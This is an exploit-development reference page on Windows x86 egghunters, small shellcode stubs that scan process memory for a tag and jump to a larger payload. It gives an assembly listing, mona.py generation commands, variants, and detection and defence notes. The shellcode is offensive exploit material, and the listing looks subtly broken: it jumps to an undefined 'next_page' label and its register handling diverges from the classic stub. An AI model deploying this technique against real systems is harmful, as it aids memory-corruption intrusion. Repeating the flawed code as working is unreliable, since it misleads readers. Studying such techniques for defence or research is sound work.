Egghunters
TL;DR: A 30–40 byte stub that walks the process address space looking for an 8-byte attacker tag (the “egg”) and jumps to the larger payload immediately after it — solves the “tiny stack buffer, big shellcode” problem.
What it is
An egghunter is a minimal piece of shellcode whose only job is to find the real payload elsewhere in memory. It iterates through addresses, calls a syscall that returns gracefully on unmapped pages (so probes never crash the process), and compares 8 bytes at each address to a known tag — conventionally the egg repeated twice, e.g. w00tw00t. When it matches, it jmps past the tag into the real shellcode.
Preconditions / where it applies
- A primary buffer too small for full shellcode (often 40–80 bytes) but large enough for the hunter (~32 bytes on x86)
- A secondary buffer somewhere in memory that the attacker also controls — uploaded file, HTTP body, registry value, environment variable
- Either the secondary buffer’s address is unknown (so brute-force search is required) or the address depends on heap state and cannot be predicted
Technique
The Windows x86 egghunter (NtAccessCheckAndAuditAlarm variant by Skape) is the classic:
; eax preloaded with egg, e.g. 0x77303074 ("w00t")
egg_hunter:
or dx, 0x0fff ; align to page boundary - 1
next_addr:
inc edx ; next byte
pushad
lea eax, [edx]
push 0x02 ; NtAccessCheckAndAuditAlarm syscall #
pop eax
int 0x2e ; syscall (legacy) — returns STATUS_ACCESS_VIOLATION on bad page
cmp al, 0x05 ; STATUS_ACCESS_VIOLATION low byte
popad
je next_page ; skip whole page on fault
mov eax, 0x77303074 ; egg
mov edi, edx
scasd ; compare [edi], eax
jne next_addr
scasd ; compare next 4 bytes (double-tag)
jne next_addr
jmp edi ; found — execute payload
Double-egg matching (w00tw00t) reduces false positives from incidental occurrences. mona generates one for you:
1
2
!mona egg -t w00t
!mona egg -t w00t -e <encoder> ; if bad chars constrain output
Place the real payload anywhere in process memory prefixed with w00tw00t, then jump to the hunter from the small primary buffer. On x64 the structure is identical but the syscall mechanism changes (syscall instead of int 0x2e).
Variants:
- SEH egghunter — install an SEH handler instead of using
NtAccessCheckAndAuditAlarm; works on systems where the syscall returns differ - IsBadReadPtr egghunter — uses kernel32 export; smaller but assumes kernel32 base is known
- Checksum egghunter — checksums chunks before tag match to reduce scanning time on huge VAs
Detection and defence
- DEP+CFG+CET (dep-bypass, control-flow-guard, cet-shadow-stack) all break the hunter’s
jmp edi - EDR signature on the loop pattern is straightforward — short forward jumps inside a tight syscall-cmp-loop
- Heap-spray detection and high-volume page-fault telemetry correlate with hunter activity
- Process Mitigation
ProcessImageLoadPolicy+ ACG block injection of arbitrary RX memory the hunter would land in
References
- Skape: Safely Searching Process Virtual Address Space — original paper
- Corelan: Egghunter mixed with a heap of omelet — practical use
- mona.py egg generator — automation
Related: bad-character-handling, stack-buffer-overflow, mona-py, seh-overwrite